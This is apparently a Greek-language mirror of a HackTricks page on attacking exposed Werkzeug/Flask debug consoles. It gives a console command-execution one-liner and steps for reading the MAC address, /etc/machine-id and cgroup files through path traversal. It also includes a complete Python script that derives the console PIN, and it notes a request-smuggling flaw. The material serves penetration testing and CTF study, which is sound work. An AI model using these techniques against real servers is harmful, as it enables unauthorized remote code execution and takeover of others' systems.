mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
10 KiB
Markdown
169 lines
10 KiB
Markdown
# Werkzeug / Flask Debug
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Console RCE
|
||
|
||
Αν η αποσφαλμάτωση είναι ενεργή, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο `/console` και να αποκτήσετε RCE.
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
.png>)
|
||
|
||
Υπάρχουν επίσης αρκετά exploits στο διαδίκτυο όπως [αυτό](https://github.com/its-arun/Werkzeug-Debug-RCE) ή ένα στο metasploit.
|
||
|
||
## Pin Protected - Path Traversal
|
||
|
||
Σε ορισμένες περιπτώσεις, το **`/console`** endpoint θα είναι προστατευμένο με ένα pin. Αν έχετε μια **ευπάθεια διαδρομής αρχείου**, μπορείτε να διαρρεύσετε όλες τις απαραίτητες πληροφορίες για να δημιουργήσετε αυτό το pin.
|
||
|
||
### Werkzeug Console PIN Exploit
|
||
|
||
Αναγκάστε μια σελίδα σφάλματος αποσφαλμάτωσης στην εφαρμογή για να δείτε αυτό:
|
||
```
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
Ένα μήνυμα σχετικά με το σενάριο "κλειδωμένη κονσόλα" εμφανίζεται όταν προσπαθείτε να αποκτήσετε πρόσβαση στη διεπαφή αποσφαλμάτωσης του Werkzeug, υποδεικνύοντας την απαίτηση για έναν κωδικό PIN για να ξεκλειδώσετε την κονσόλα. Προτείνεται να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας αναλύοντας τον αλγόριθμο δημιουργίας PIN στο αρχείο αρχικοποίησης αποσφαλμάτωσης του Werkzeug (`__init__.py`). Μηχανισμός δημιουργίας PIN μπορεί να μελετηθεί από το [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), αν και συνιστάται να αποκτήσετε τον πραγματικό κωδικό του διακομιστή μέσω μιας ευπάθειας διαδρομής αρχείου λόγω πιθανών διαφορών εκδόσεων.
|
||
|
||
Για να εκμεταλλευτείτε τον κωδικό PIN της κονσόλας, απαιτούνται δύο σύνολα μεταβλητών, `probably_public_bits` και `private_bits`:
|
||
|
||
#### **`probably_public_bits`**
|
||
|
||
- **`username`**: Αναφέρεται στον χρήστη που ξεκίνησε τη συνεδρία Flask.
|
||
- **`modname`**: Συνήθως ορίζεται ως `flask.app`.
|
||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Γενικά επιλύεται σε **Flask**.
|
||
- **`getattr(mod, '__file__', None)`**: Αντιπροσωπεύει την πλήρη διαδρομή προς το `app.py` εντός του καταλόγου Flask (π.χ., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Αν το `app.py` δεν είναι εφαρμόσιμο, **δοκιμάστε το `app.pyc`**.
|
||
|
||
#### **`private_bits`**
|
||
|
||
- **`uuid.getnode()`**: Ανακτά τη διεύθυνση MAC της τρέχουσας μηχανής, με το `str(uuid.getnode())` να την μετατρέπει σε δεκαδική μορφή.
|
||
|
||
- Για να **καθορίσετε τη διεύθυνση MAC του διακομιστή**, πρέπει να προσδιορίσετε τη δραστήρια δικτυακή διεπαφή που χρησιμοποιείται από την εφαρμογή (π.χ., `ens3`). Σε περιπτώσεις αβεβαιότητας, **διαρρεύστε το `/proc/net/arp`** για να βρείτε το ID της συσκευής, στη συνέχεια **εξάγετε τη διεύθυνση MAC** από **`/sys/class/net/<device id>/address`**.
|
||
- Η μετατροπή μιας δεκαεξαδικής διεύθυνσης MAC σε δεκαδική μπορεί να πραγματοποιηθεί όπως φαίνεται παρακάτω:
|
||
|
||
```python
|
||
# Παράδειγμα διεύθυνσης MAC: 56:00:02:7a:23:ac
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
|
||
- **`get_machine_id()`**: Συγκεντρώνει δεδομένα από το `/etc/machine-id` ή το `/proc/sys/kernel/random/boot_id` με την πρώτη γραμμή του `/proc/self/cgroup` μετά την τελευταία κάθετο (`/`).
|
||
|
||
<details>
|
||
|
||
<summary>Κώδικας για `get_machine_id()`</summary>
|
||
```python
|
||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
global _machine_id
|
||
|
||
if _machine_id is not None:
|
||
return _machine_id
|
||
|
||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
linux = b""
|
||
|
||
# machine-id is stable across boots, boot_id is not.
|
||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
try:
|
||
with open(filename, "rb") as f:
|
||
value = f.readline().strip()
|
||
except OSError:
|
||
continue
|
||
|
||
if value:
|
||
linux += value
|
||
break
|
||
|
||
# Containers share the same machine id, add some cgroup
|
||
# information. This is used outside containers too but should be
|
||
# relatively stable across boots.
|
||
try:
|
||
with open("/proc/self/cgroup", "rb") as f:
|
||
linux += f.readline().strip().rpartition(b"/")[2]
|
||
except OSError:
|
||
pass
|
||
|
||
if linux:
|
||
return linux
|
||
|
||
# On OS X, use ioreg to get the computer's serial number.
|
||
try:
|
||
```
|
||
</details>
|
||
|
||
Αφού συγκεντρωθούν όλα τα απαραίτητα δεδομένα, το exploit script μπορεί να εκτελεστεί για να παραχθεί το PIN της κονσόλας Werkzeug:
|
||
|
||
Αφού συγκεντρωθούν όλα τα απαραίτητα δεδομένα, το exploit script μπορεί να εκτελεστεί για να παραχθεί το PIN της κονσόλας Werkzeug. Το script χρησιμοποιεί τα συγκεντρωμένα `probably_public_bits` και `private_bits` για να δημιουργήσει ένα hash, το οποίο στη συνέχεια υποβάλλεται σε περαιτέρω επεξεργασία για να παραχθεί το τελικό PIN. Παρακάτω είναι ο κώδικας Python για την εκτέλεση αυτής της διαδικασίας:
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user', # username
|
||
'flask.app', # modname
|
||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
h = hashlib.sha1()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
# h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv = None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
Αυτό το σενάριο παράγει το PIN με το να έχει το hash των συγχωνευμένων bits, προσθέτοντας συγκεκριμένα salts (`cookiesalt` και `pinsalt`), και μορφοποιώντας την έξοδο. Είναι σημαντικό να σημειωθεί ότι οι πραγματικές τιμές για `probably_public_bits` και `private_bits` πρέπει να αποκτηθούν με ακρίβεια από το σύστημα στόχο για να διασφαλιστεί ότι το παραγόμενο PIN ταιριάζει με αυτό που αναμένεται από την κονσόλα Werkzeug.
|
||
|
||
> [!TIP]
|
||
> Αν είστε σε μια **παλιά έκδοση** του Werkzeug, δοκιμάστε να αλλάξετε τον **αλγόριθμο hashing σε md5** αντί για sha1.
|
||
|
||
## Werkzeug Unicode χαρακτήρες
|
||
|
||
Όπως παρατηρήθηκε σε [**αυτό το ζήτημα**](https://github.com/pallets/werkzeug/issues/2833), το Werkzeug δεν κλείνει ένα αίτημα με Unicode χαρακτήρες στις κεφαλίδες. Και όπως εξηγήθηκε σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), αυτό μπορεί να προκαλέσει μια ευπάθεια CL.0 Request Smuggling.
|
||
|
||
Αυτό συμβαίνει γιατί, στο Werkzeug είναι δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα προκαλέσει **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα θεωρηθεί ως το **επόμενο HTTP αίτημα**.
|
||
|
||
## Αυτοματοποιημένη Εκμετάλλευση
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/Ruulian/wconsole_extractor
|
||
{{#endref}}
|
||
|
||
## Αναφορές
|
||
|
||
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|